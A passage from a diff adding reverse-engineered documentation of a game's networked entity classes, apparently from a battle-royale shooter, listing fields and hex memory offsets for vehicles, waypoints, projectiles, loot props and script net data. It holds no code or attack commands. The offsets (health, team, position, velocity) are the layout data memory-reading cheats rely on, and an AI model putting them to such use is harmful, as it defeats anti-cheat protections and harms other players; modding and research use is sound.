Vector, + m_hoverVehicleSeats: DataTable, + m_abilityAttachmentEnts: DataTable, + m_abilityAttachmentInts: DataTable, + m_overrideVehicleAngles: Vector, + m_overrideVehicleAnglesUntilTick: Int, + m_pushingEnt: Int, + m_materialDualColorMask: Int, +} +``` + +### Offsets + +``` +DT_PlayerVehicle!0x0000 vehicledriverdata +DT_PlayerVehicle!0x0000 vehiclenondriverdata +DT_PlayerVehicle!0x0000 m_vehiclePlayers +DT_PlayerVehicle!0x0038 m_vecViewOffset.x +DT_PlayerVehicle!0x003c m_vecViewOffset.y +DT_PlayerVehicle!0x0040 m_vecViewOffset.z +DT_PlayerVehicle!0x0420 m_iHealth +DT_PlayerVehicle!0x046c m_localAngles +DT_PlayerVehicle!0x0550 m_iMaxHealth +DT_PlayerVehicle!0x1984 m_vehicleDriver +DT_PlayerVehicle!0x198c m_driverActivationTime +DT_PlayerVehicle!0x1990 m_driverDeactivationTime +DT_PlayerVehicle!0x1994 m_vehiclePlayers[0] +DT_PlayerVehicle!0x19a4 m_vehiclePlayerCount +DT_PlayerVehicle!0x19a8 m_vehicleActivated +DT_PlayerVehicle!0x19a9 m_blockDuckInput +DT_PlayerVehicle!0x19ac m_vehicleFlags +DT_PlayerVehicle!0x19b0 m_vehicleType +DT_PlayerVehicle!0x19b8 m_vehicleLaunchTime +DT_PlayerVehicle!0x19c0 m_vehicleVelocity +DT_PlayerVehicle!0x19cc m_vehicleGroundEntity +DT_PlayerVehicle!0x19d0 m_vehicleGroundNormal +DT_PlayerVehicle!0x19fc m_hoverVehicleIsOnGround +DT_PlayerVehicle!0x1a7c m_hoverVehicleLastBoostTime +DT_PlayerVehicle!0x1a85 m_hoverVehicleIsParked +DT_PlayerVehicle!0x1a88 m_hoverVehicleStunTimeEnd +DT_PlayerVehicle!0x1a8c m_hoverVehicleThrottle +DT_PlayerVehicle!0x1a94 m_hoverVehicleBanking +DT_PlayerVehicle!0x1a98 m_hoverVehicleFrictionLastTime +DT_PlayerVehicle!0x1a9c m_hoverVehicleFrictionSurfPropOther +DT_PlayerVehicle!0x1aa0 m_hoverVehicleFrictionNormal +DT_PlayerVehicle!0x1aac m_hoverVehicleFrictionPos +DT_PlayerVehicle!0x1ac4 m_hoverVehicleSeats +DT_PlayerVehicle!0x1ae8 m_abilityAttachmentEnts +DT_PlayerVehicle!0x1af0 m_abilityAttachmentInts +DT_PlayerVehicle!0x1bbc m_overrideVehicleAngles +DT_PlayerVehicle!0x1bc8 m_overrideVehicleAnglesUntilTick +DT_PlayerVehicle!0x1bf0 m_pushingEnt +DT_PlayerVehicle!0x1c84 m_materialDualColorMask +``` +
+
+class DT_PlayerWaypoint + +``` +{ + moveparent: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_iTeamNum: Int, + m_teamMemberIndex: Int, + m_hOwnerEntity: Int, + m_iSignifierName: String, + m_parentAttachmentModel: Int, + m_realmsBitMask: BitMask, + m_waypointType: Int, + m_waypointBitfield: Int, + m_waypointEnts: DataTable, + m_waypointVectors: DataTable, + m_waypointGameTimes: DataTable, + m_waypointInts: DataTable, + m_waypointFloats: DataTable, + m_objectivePackedInt: Int, + m_waypointGroupName: String, + m_waypointGroupFlags: Int, + m_waypointCustomType: String, + m_waypointStringA: String, + m_waypointStringB: String, + m_waypointAssetA: String, + m_waypointAssetB: String, +} +``` + +### Offsets + +``` +DT_PlayerWaypoint!0x001c moveparent +DT_PlayerWaypoint!0x0024 m_parentAttachmentIndex +DT_PlayerWaypoint!0x004c m_cellX +DT_PlayerWaypoint!0x0050 m_cellY +DT_PlayerWaypoint!0x0054 m_cellZ +DT_PlayerWaypoint!0x0058 m_localOrigin +DT_PlayerWaypoint!0x03d4 m_networkedFlags +DT_PlayerWaypoint!0x0428 m_visibilityFlags +DT_PlayerWaypoint!0x0430 m_iTeamNum +DT_PlayerWaypoint!0x0438 m_teamMemberIndex +DT_PlayerWaypoint!0x0480 m_hOwnerEntity +DT_PlayerWaypoint!0x0558 m_iSignifierName +DT_PlayerWaypoint!0x0838 m_parentAttachmentModel +DT_PlayerWaypoint!0x0a28 m_realmsBitMask +DT_PlayerWaypoint!0x0a40 m_waypointType +DT_PlayerWaypoint!0x0a44 m_waypointBitfield +DT_PlayerWaypoint!0x0a48 m_waypointEnts +DT_PlayerWaypoint!0x0a68 m_waypointVectors +DT_PlayerWaypoint!0x0ac8 m_waypointGameTimes +DT_PlayerWaypoint!0x0ae8 m_waypointInts +DT_PlayerWaypoint!0x0b08 m_waypointFloats +DT_PlayerWaypoint!0x0b28 m_objectivePackedInt +DT_PlayerWaypoint!0x0b2c m_waypointGroupName +DT_PlayerWaypoint!0x0b4c m_waypointGroupFlags +DT_PlayerWaypoint!0x0b50 m_waypointCustomType +DT_PlayerWaypoint!0x0b70 m_waypointStringA +DT_PlayerWaypoint!0x0bb0 m_waypointStringB +DT_PlayerWaypoint!0x0bf8 m_waypointAssetA +DT_PlayerWaypoint!0x0c78 m_waypointAssetB +``` +
+
+class DT_PlayerZipline + +``` +{ + m_ziplineReenableWeapons: Int, + m_mountingZiplineDuration: Float, + m_mountingZiplineAlpha: Float, + m_ziplineStartTime: Time, + m_ziplineEndTime: Time, + m_mountingZiplineSourcePosition: Vector, + m_mountingZiplineSourceVelocity: Vector, + m_mountingZiplineTargetPosition: Vector, + m_ziplineUsePosition: Vector, + m_slidingZiplineAlpha: Float, + m_lastMoveDir2D: Vector, + m_ziplineReverse: Int, +} +``` + +### Offsets + +``` +DT_PlayerZipline!0x0008 m_ziplineReenableWeapons +DT_PlayerZipline!0x000c m_mountingZiplineDuration +DT_PlayerZipline!0x0010 m_mountingZiplineAlpha +DT_PlayerZipline!0x0014 m_ziplineStartTime +DT_PlayerZipline!0x0018 m_ziplineEndTime +DT_PlayerZipline!0x001c m_mountingZiplineSourcePosition +DT_PlayerZipline!0x0028 m_mountingZiplineSourceVelocity +DT_PlayerZipline!0x0034 m_mountingZiplineTargetPosition +DT_PlayerZipline!0x004c m_ziplineUsePosition +DT_PlayerZipline!0x0058 m_slidingZiplineAlpha +DT_PlayerZipline!0x005c m_lastMoveDir2D +DT_PlayerZipline!0x0068 m_ziplineReverse +``` +
+
+class DT_Player_AnimViewEntityData + +``` +{ + animViewEntityHandle: Int, + animViewEntityAngleLerpInDuration: Float, + animViewEntityOriginLerpInDuration: Float, + animViewEntityLerpOutDuration: Float, + animViewEntityStabilizePlayerEyeAngles: Int, + animViewEntityThirdPersonCameraParity: Int, + animViewEntityThirdPersonCameraAttachment: DataTable, + animViewEntityNumThirdPersonCameraAttachments: Int, + animViewEntityThirdPersonCameraVisibilityChecks: Int, + animViewEntityDrawPlayer: Int, + fovTarget: Float, + fovSmoothTime: Float, + animViewEntityParity: Int, +} +``` + +### Offsets + +``` +DT_Player_AnimViewEntityData!0x0000 animViewEntityHandle +DT_Player_AnimViewEntityData!0x0004 animViewEntityAngleLerpInDuration +DT_Player_AnimViewEntityData!0x0008 animViewEntityOriginLerpInDuration +DT_Player_AnimViewEntityData!0x000c animViewEntityLerpOutDuration +DT_Player_AnimViewEntityData!0x0010 animViewEntityStabilizePlayerEyeAngles +DT_Player_AnimViewEntityData!0x0014 animViewEntityThirdPersonCameraParity +DT_Player_AnimViewEntityData!0x0018 animViewEntityThirdPersonCameraAttachment +DT_Player_AnimViewEntityData!0x0030 animViewEntityNumThirdPersonCameraAttachments +DT_Player_AnimViewEntityData!0x0034 animViewEntityThirdPersonCameraVisibilityChecks +DT_Player_AnimViewEntityData!0x0035 animViewEntityDrawPlayer +DT_Player_AnimViewEntityData!0x0038 fovTarget +DT_Player_AnimViewEntityData!0x003c fovSmoothTime +DT_Player_AnimViewEntityData!0x0048 animViewEntityParity +``` +
+
+class DT_PortalNonLocalPlayerExclusive + +``` +{ + m_pusher: Int, + m_originRelativeToPusher: Vector, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, +} +``` + +### Offsets + +``` +DT_PortalNonLocalPlayerExclusive!0x0028 m_pusher +DT_PortalNonLocalPlayerExclusive!0x002c m_originRelativeToPusher +DT_PortalNonLocalPlayerExclusive!0x004c m_cellX +DT_PortalNonLocalPlayerExclusive!0x0050 m_cellY +DT_PortalNonLocalPlayerExclusive!0x0054 m_cellZ +DT_PortalNonLocalPlayerExclusive!0x0058 m_localOrigin +DT_PortalNonLocalPlayerExclusive!0x0060 m_localOrigin.z +``` +
+
+class DT_PortalPointPush extends DT_BaseEntity + +``` +{ + m_bEnabled: Int, + m_flMagnitude: Float, + m_flRadius: Float, + m_flInnerRadius: Float, + m_flConeOfInfluence: Float, +} +``` + +### Offsets + +``` +DT_PortalPointPush!0x0a40 m_bEnabled +DT_PortalPointPush!0x0a44 m_flMagnitude +DT_PortalPointPush!0x0a48 m_flRadius +DT_PortalPointPush!0x0a4c m_flInnerRadius +DT_PortalPointPush!0x0a50 m_flConeOfInfluence +``` +
+
+class DT_PostProcessController extends DT_BaseEntity + +``` +{ + m_flPostProcessParameters: DataTable, + m_bMaster: Int, +} +``` + +### Offsets + +``` +DT_PostProcessController!0x0a40 m_flPostProcessParameters +DT_PostProcessController!0x0a58 m_bMaster +``` +
+
+class DT_PredictedAnimEventData + +``` +{ + m_predictedAnimEventTimes: DataTable, + m_predictedAnimEventIndices: DataTable, + m_predictedAnimEventCount: Int, + m_predictedAnimEventTarget: Int, + m_predictedAnimEventSequence: Int, + m_predictedAnimEventModel: Int, + m_predictedAnimEventsReadyToFireTime: Time, +} +``` + +### Offsets + +``` +DT_PredictedAnimEventData!0x0008 m_predictedAnimEventTimes +DT_PredictedAnimEventData!0x0028 m_predictedAnimEventIndices +DT_PredictedAnimEventData!0x0048 m_predictedAnimEventCount +DT_PredictedAnimEventData!0x004c m_predictedAnimEventTarget +DT_PredictedAnimEventData!0x0050 m_predictedAnimEventSequence +DT_PredictedAnimEventData!0x0054 m_predictedAnimEventModel +DT_PredictedAnimEventData!0x0058 m_predictedAnimEventsReadyToFireTime +``` +
+
+class DT_Projectile + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_iTeamNum: Int, + m_vecVelocity: Vector, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_CollisionGroup: Int, + m_PredictableID: Int, + m_realmsBitMask: BitMask, + m_weaponDataIsSet: Int, + m_forceAdjustToGunBarrelDisabled: Int, + m_weaponClassIndex: Int, + m_destructionDistance: Float, + m_passThroughDepthTotal: Int, + m_modBitfield: Int, + m_overrideMods: Int, + m_projectileTrailIndex: Int, + m_impactEffectTable: Int, + m_reducedEffects: Int, + m_projectileCreationTimeServer: Time, + m_weaponSource: Int, + m_passThroughModCount: Int, + m_passThroughPoints: DataTable, + m_preModdedTrailEffectIndices1p: DataTable, + m_preModdedTrailEffectIndices3p: DataTable, + m_launchOrigin: Vector, +} +``` + +### Offsets + +``` +DT_Projectile!0x004c m_cellX +DT_Projectile!0x0050 m_cellY +DT_Projectile!0x0054 m_cellZ +DT_Projectile!0x0058 m_localOrigin +DT_Projectile!0x0064 m_nModelIndex +DT_Projectile!0x03d4 m_networkedFlags +DT_Projectile!0x0430 m_iTeamNum +DT_Projectile!0x0460 m_vecVelocity +DT_Projectile!0x046c m_localAngles +DT_Projectile!0x0480 m_hOwnerEntity +DT_Projectile!0x0518 m_CollisionGroup +DT_Projectile!0x07a4 m_PredictableID +DT_Projectile!0x0a28 m_realmsBitMask +DT_Projectile!0x1600 m_weaponDataIsSet +DT_Projectile!0x1601 m_forceAdjustToGunBarrelDisabled +DT_Projectile!0x1604 m_weaponClassIndex +DT_Projectile!0x1608 m_destructionDistance +DT_Projectile!0x160c m_passThroughDepthTotal +DT_Projectile!0x1610 m_modBitfield +DT_Projectile!0x1614 m_overrideMods +DT_Projectile!0x1618 m_projectileTrailIndex +DT_Projectile!0x161c m_impactEffectTable +DT_Projectile!0x1620 m_reducedEffects +DT_Projectile!0x1624 m_projectileCreationTimeServer +DT_Projectile!0x1628 m_weaponSource +DT_Projectile!0x162c m_passThroughModCount +DT_Projectile!0x1630 m_passThroughPoints +DT_Projectile!0x163c m_preModdedTrailEffectIndices1p +DT_Projectile!0x1640 m_preModdedTrailEffectIndices3p +DT_Projectile!0x1644 m_launchOrigin +``` +
+
+class DT_PropSurvival + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_iSignifierName: String, + m_parentAttachmentModel: Int, + m_usablePriority: Int, + m_usableDistanceOverride: Float, + m_usableFOV: Float, + m_usePromptSize: Float, + m_realmsBitMask: BitMask, + m_nSkin: Int, + m_skinMod: Int, + m_nBody: Int, + m_camoIndex: Int, + m_ammoInClip: Int, + m_customScriptInt: Int, + m_survivalProperty: Int, + m_weaponNameIndex: Int, + m_modBitField: Int, + m_survivalPropFadeDist: Float, +} +``` + +### Offsets + +``` +DT_PropSurvival!0x001c moveparent +DT_PropSurvival!0x0020 m_parentAttachmentType +DT_PropSurvival!0x0024 m_parentAttachmentIndex +DT_PropSurvival!0x0044 m_fEffects +DT_PropSurvival!0x0048 m_usableType +DT_PropSurvival!0x004c m_cellX +DT_PropSurvival!0x0050 m_cellY +DT_PropSurvival!0x0054 m_cellZ +DT_PropSurvival!0x0058 m_localOrigin +DT_PropSurvival!0x0064 m_nModelIndex +DT_PropSurvival!0x03d4 m_networkedFlags +DT_PropSurvival!0x0428 m_visibilityFlags +DT_PropSurvival!0x046c m_localAngles +DT_PropSurvival!0x0498 m_Collision +DT_PropSurvival!0x0518 m_CollisionGroup +DT_PropSurvival!0x0558 m_iSignifierName +DT_PropSurvival!0x0838 m_parentAttachmentModel +DT_PropSurvival!0x0908 m_usablePriority +DT_PropSurvival!0x090c m_usableDistanceOverride +DT_PropSurvival!0x0910 m_usableFOV +DT_PropSurvival!0x0914 m_usePromptSize +DT_PropSurvival!0x0a28 m_realmsBitMask +DT_PropSurvival!0x0e88 m_nSkin +DT_PropSurvival!0x0e8c m_skinMod +DT_PropSurvival!0x0e90 m_nBody +DT_PropSurvival!0x0e94 m_camoIndex +DT_PropSurvival!0x1604 m_ammoInClip +DT_PropSurvival!0x1608 m_customScriptInt +DT_PropSurvival!0x160c m_survivalProperty +DT_PropSurvival!0x1610 m_weaponNameIndex +DT_PropSurvival!0x1614 m_modBitField +DT_PropSurvival!0x161c m_survivalPropFadeDist +``` +
+
+class DT_RopeKeyframe + +``` +{ + m_localOrigin: Vector, + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_visibilityFlags: Int, + m_hOwnerEntity: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_ropeZiplineAutoDetachDistance: Float, + m_ziplineSagEnable: Int, + m_ziplineSagHeight: Float, + m_ziplineMoveSpeedScale: Float, + m_wiggleFadeStartTime: Time, + m_wiggleEndTime: Time, + m_wiggleMaxLen: Float, + m_wiggleMagnitude: Float, + m_wiggleSpeed: Float, + m_flScrollSpeed: Float, + m_RopeFlags: Int, + m_iRopeMaterialModelIndex: Int, + m_nSegments: Int, + m_hStartPoint: Int, + m_hEndPoint: Int, + m_hPrevPoint: Int, + m_iStartAttachment: Int, + m_iEndAttachment: Int, + m_subdivStackCount: Int, + m_subdivSliceCount: Int, + m_ropeLength: Int, + m_constraintIterations: Int, + m_ropeDampening: Float, + m_Slack: Int, + m_TextureScale: Float, + m_TextureScale: Float, + m_fLockedPoints: Int, + m_lockDirectionCutoffLength: Int, + m_lockDirectionStrength: Float, + m_nChangeCount: Int, + m_Width: Float, + m_bConstrainBetweenEndpoints: Int, +} +``` + +### Offsets + +``` +DT_RopeKeyframe!0x0004 m_localOrigin +DT_RopeKeyframe!0x001c moveparent +DT_RopeKeyframe!0x0020 m_parentAttachmentType +DT_RopeKeyframe!0x0024 m_parentAttachmentIndex +DT_RopeKeyframe!0x0428 m_visibilityFlags +DT_RopeKeyframe!0x0480 m_hOwnerEntity +DT_RopeKeyframe!0x0834 m_parentAttachmentHitbox +DT_RopeKeyframe!0x0838 m_parentAttachmentModel +DT_RopeKeyframe!0x0844 m_fadeDist +DT_RopeKeyframe!0x0a40 m_ropeZiplineAutoDetachDistance +DT_RopeKeyframe!0x0a44 m_ziplineSagEnable +DT_RopeKeyframe!0x0a48 m_ziplineSagHeight +DT_RopeKeyframe!0x0b40 m_ziplineMoveSpeedScale +DT_RopeKeyframe!0x0b44 m_wiggleFadeStartTime +DT_RopeKeyframe!0x0b48 m_wiggleEndTime +DT_RopeKeyframe!0x0b4c m_wiggleMaxLen +DT_RopeKeyframe!0x0b50 m_wiggleMagnitude +DT_RopeKeyframe!0x0b54 m_wiggleSpeed +DT_RopeKeyframe!0x0b8c m_flScrollSpeed +DT_RopeKeyframe!0x0b90 m_RopeFlags +DT_RopeKeyframe!0x0b94 m_iRopeMaterialModelIndex +DT_RopeKeyframe!0x0e18 m_nSegments +DT_RopeKeyframe!0x0e1c m_hStartPoint +DT_RopeKeyframe!0x0e20 m_hEndPoint +DT_RopeKeyframe!0x0e24 m_hPrevPoint +DT_RopeKeyframe!0x0e28 m_iStartAttachment +DT_RopeKeyframe!0x0e2a m_iEndAttachment +DT_RopeKeyframe!0x0e54 m_subdivStackCount +DT_RopeKeyframe!0x0e58 m_subdivSliceCount +DT_RopeKeyframe!0x0e5c m_ropeLength +DT_RopeKeyframe!0x0e64 m_constraintIterations +DT_RopeKeyframe!0x0e68 m_ropeDampening +DT_RopeKeyframe!0x0e6c m_Slack +DT_RopeKeyframe!0x0e70 m_TextureScale +DT_RopeKeyframe!0x0e70 m_TextureScale +DT_RopeKeyframe!0x0e74 m_fLockedPoints +DT_RopeKeyframe!0x0e78 m_lockDirectionCutoffLength +DT_RopeKeyframe!0x0e7c m_lockDirectionStrength +DT_RopeKeyframe!0x0e80 m_nChangeCount +DT_RopeKeyframe!0x0e84 m_Width +DT_RopeKeyframe!0x0f18 m_bConstrainBetweenEndpoints +``` +
+
+class DT_ScriptMover extends DT_ScriptProp + +``` +{ + m_parentAttachmentType: Int, + m_vecAngVelocity: Vector, + m_vecVelocity: Vector, + m_localAngles: Vector, + m_parentAttachmentHitbox: Int, +} +``` + +### Offsets + +``` +DT_ScriptMover!0x0020 m_parentAttachmentType +DT_ScriptMover!0x0128 m_vecAngVelocity +DT_ScriptMover!0x0460 m_vecVelocity +DT_ScriptMover!0x046c m_localAngles +DT_ScriptMover!0x0834 m_parentAttachmentHitbox +``` +
+
+class DT_ScriptMoverLightweight + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_moverNetworkCellX: Int, + m_moverNetworkCellY: Int, + m_moverNetworkCellZ: Int, + m_moverNetworkLocalOrigin: Vector, + m_nModelIndex: Int, + m_moverNetworkAngularVelocity: Vector, + m_networkedFlags: Int, + m_moverNetworkLinearVelocity: Vector, + m_moverNetworkLocalAngles: Vector, + m_scriptNameIndex: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_moveModeNonPhysics: Int, + m_moveModeIsLocal: Int, + m_moveToStartPos: Vector, + m_moveToEndPos: Vector, + m_moveToTimeStart: Time, + m_moveToTimeEnd: Time, + m_moveToTimeEaseIn: Float, + m_moveToTimeEaseOut: Float, + m_moveVelocity: Vector, + m_moveGravity: Vector, + m_trainStartTime: Time, + m_trainStopTime: Time, + m_trainStartDistance: Float, + m_trainCurrentNode: Int, + m_trainStopNode: Int, + m_trainInitialSpeed: Float, + m_trainGoalSpeed: Float, + m_trainAcceleration: Float, + m_trainLastNode: Int, + m_trainLastDistance: Float, + m_trainLastSpeed: Float, + m_trainFollowMover: Int, + m_trainFollowDistance: Float, + m_trainBreadcrumb: DataTable, + m_trainBreadcrumbBegin: Int, + m_trainBreadcrumbCount: Int, + m_trainAutoRollStrength: Float, + m_trainAutoRollLookAheadDistance: Float, + m_trainAutoRollMax: Float, + m_trainSimulateBeforeMeEntity: Int, + m_rotateModeNonPhysics: Int, + m_rotateModeIsLocal: Int, + m_RotateToAnglesStart: Vector, + m_RotateToAnglesEnd: Vector, + m_rotateToTimeStart: Time, + m_rotateToTimeEnd: Time, + m_rotateToTimeEaseIn: Float, + m_rotateToTimeEaseOut: Float, + m_rotateAxis: Vector, + m_rotateSpeed: Float, + m_trainPitchMax: Float, + m_useNonPhysicsMoveInterpolation: Int, +} +``` + +### Offsets + +``` +DT_ScriptMoverLightweight!0x001c moveparent +DT_ScriptMoverLightweight!0x0020 m_parentAttachmentType +DT_ScriptMoverLightweight!0x0024 m_parentAttachmentIndex +DT_ScriptMoverLightweight!0x0044 m_fEffects +DT_ScriptMoverLightweight!0x004c m_moverNetworkCellX +DT_ScriptMoverLightweight!0x0050 m_moverNetworkCellY +DT_ScriptMoverLightweight!0x0054 m_moverNetworkCellZ +DT_ScriptMoverLightweight!0x0058 m_moverNetworkLocalOrigin +DT_ScriptMoverLightweight!0x0064 m_nModelIndex +DT_ScriptMoverLightweight!0x0128 m_moverNetworkAngularVelocity +DT_ScriptMoverLightweight!0x03d4 m_networkedFlags +DT_ScriptMoverLightweight!0x0460 m_moverNetworkLinearVelocity +DT_ScriptMoverLightweight!0x046c m_moverNetworkLocalAngles +DT_ScriptMoverLightweight!0x0668 m_scriptNameIndex +DT_ScriptMoverLightweight!0x0834 m_parentAttachmentHitbox +DT_ScriptMoverLightweight!0x0838 m_parentAttachmentModel +DT_ScriptMoverLightweight!0x0844 m_fadeDist +DT_ScriptMoverLightweight!0x1744 m_moveModeNonPhysics +DT_ScriptMoverLightweight!0x1748 m_moveModeIsLocal +DT_ScriptMoverLightweight!0x174c m_moveToStartPos +DT_ScriptMoverLightweight!0x1758 m_moveToEndPos +DT_ScriptMoverLightweight!0x1764 m_moveToTimeStart +DT_ScriptMoverLightweight!0x1768 m_moveToTimeEnd +DT_ScriptMoverLightweight!0x176c m_moveToTimeEaseIn +DT_ScriptMoverLightweight!0x1770 m_moveToTimeEaseOut +DT_ScriptMoverLightweight!0x1774 m_moveVelocity +DT_ScriptMoverLightweight!0x1780 m_moveGravity +DT_ScriptMoverLightweight!0x178c m_trainStartTime +DT_ScriptMoverLightweight!0x1790 m_trainStopTime +DT_ScriptMoverLightweight!0x1794 m_trainStartDistance +DT_ScriptMoverLightweight!0x1798 m_trainCurrentNode +DT_ScriptMoverLightweight!0x179c m_trainStopNode +DT_ScriptMoverLightweight!0x17a0 m_trainInitialSpeed +DT_ScriptMoverLightweight!0x17a4 m_trainGoalSpeed +DT_ScriptMoverLightweight!0x17a8 m_trainAcceleration +DT_ScriptMoverLightweight!0x17ac m_trainLastNode +DT_ScriptMoverLightweight!0x17b0 m_trainLastDistance +DT_ScriptMoverLightweight!0x17b4 m_trainLastSpeed +DT_ScriptMoverLightweight!0x17b8 m_trainFollowMover +DT_ScriptMoverLightweight!0x17bc m_trainFollowDistance +DT_ScriptMoverLightweight!0x17c0 m_trainBreadcrumb +DT_ScriptMoverLightweight!0x17e0 m_trainBreadcrumbBegin +DT_ScriptMoverLightweight!0x17e4 m_trainBreadcrumbCount +DT_ScriptMoverLightweight!0x17e8 m_trainAutoRollStrength +DT_ScriptMoverLightweight!0x17ec m_trainAutoRollLookAheadDistance +DT_ScriptMoverLightweight!0x17f0 m_trainAutoRollMax +DT_ScriptMoverLightweight!0x17f4 m_trainSimulateBeforeMeEntity +DT_ScriptMoverLightweight!0x17f8 m_rotateModeNonPhysics +DT_ScriptMoverLightweight!0x17fc m_rotateModeIsLocal +DT_ScriptMoverLightweight!0x1800 m_RotateToAnglesStart +DT_ScriptMoverLightweight!0x180c m_RotateToAnglesEnd +DT_ScriptMoverLightweight!0x1818 m_rotateToTimeStart +DT_ScriptMoverLightweight!0x181c m_rotateToTimeEnd +DT_ScriptMoverLightweight!0x1820 m_rotateToTimeEaseIn +DT_ScriptMoverLightweight!0x1824 m_rotateToTimeEaseOut +DT_ScriptMoverLightweight!0x1828 m_rotateAxis +DT_ScriptMoverLightweight!0x1834 m_rotateSpeed +DT_ScriptMoverLightweight!0x1838 m_trainPitchMax +DT_ScriptMoverLightweight!0x1884 m_useNonPhysicsMoveInterpolation +``` +
+
+class DT_ScriptMoverTrainNode + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_scriptNameIndex: Int, + m_firstChildEntityLink: Int, + m_firstParentEntityLink: Int, + m_numSmoothPoints: Int, + m_trainNodeMakeSmoothPointsParity: Int, + m_tangentType: Int, + m_perfectCircularRotation: Int, +} +``` + +### Offsets + +``` +DT_ScriptMoverTrainNode!0x004c m_cellX +DT_ScriptMoverTrainNode!0x0050 m_cellY +DT_ScriptMoverTrainNode!0x0054 m_cellZ +DT_ScriptMoverTrainNode!0x0058 m_localOrigin +DT_ScriptMoverTrainNode!0x0668 m_scriptNameIndex +DT_ScriptMoverTrainNode!0x0a20 m_firstChildEntityLink +DT_ScriptMoverTrainNode!0x0a24 m_firstParentEntityLink +DT_ScriptMoverTrainNode!0x0a40 m_numSmoothPoints +DT_ScriptMoverTrainNode!0x0a44 m_trainNodeMakeSmoothPointsParity +DT_ScriptMoverTrainNode!0x0a48 m_tangentType +DT_ScriptMoverTrainNode!0x0a4c m_perfectCircularRotation +``` +
+
+class DT_ScriptNetData_SNDC_DEATH_BOX extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_bools +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_ranges +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_int32s +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_times +DT_ScriptNetData_SNDC_DEATH_BOX!0x0000 m_entities +DT_ScriptNetData_SNDC_DEATH_BOX!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0c84 m_ranges[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0ca8 m_int32s[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0cb4 m_times[0] +DT_ScriptNetData_SNDC_DEATH_BOX!0x0cc0 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_GLOBAL extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_bools +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_ranges +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_int32s +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_times +DT_ScriptNetData_SNDC_GLOBAL!0x0000 m_entities +DT_ScriptNetData_SNDC_GLOBAL!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0c92 m_ranges[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0cd8 m_int32s[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0d00 m_times[0] +DT_ScriptNetData_SNDC_GLOBAL!0x0d68 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_bools +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_ranges +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_int32s +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_times +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0000 m_entities +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0c92 m_ranges[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0cd8 m_int32s[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0d00 m_times[0] +DT_ScriptNetData_SNDC_GLOBAL_NON_REWIND!0x0d68 m_entities[0] +``` +
+
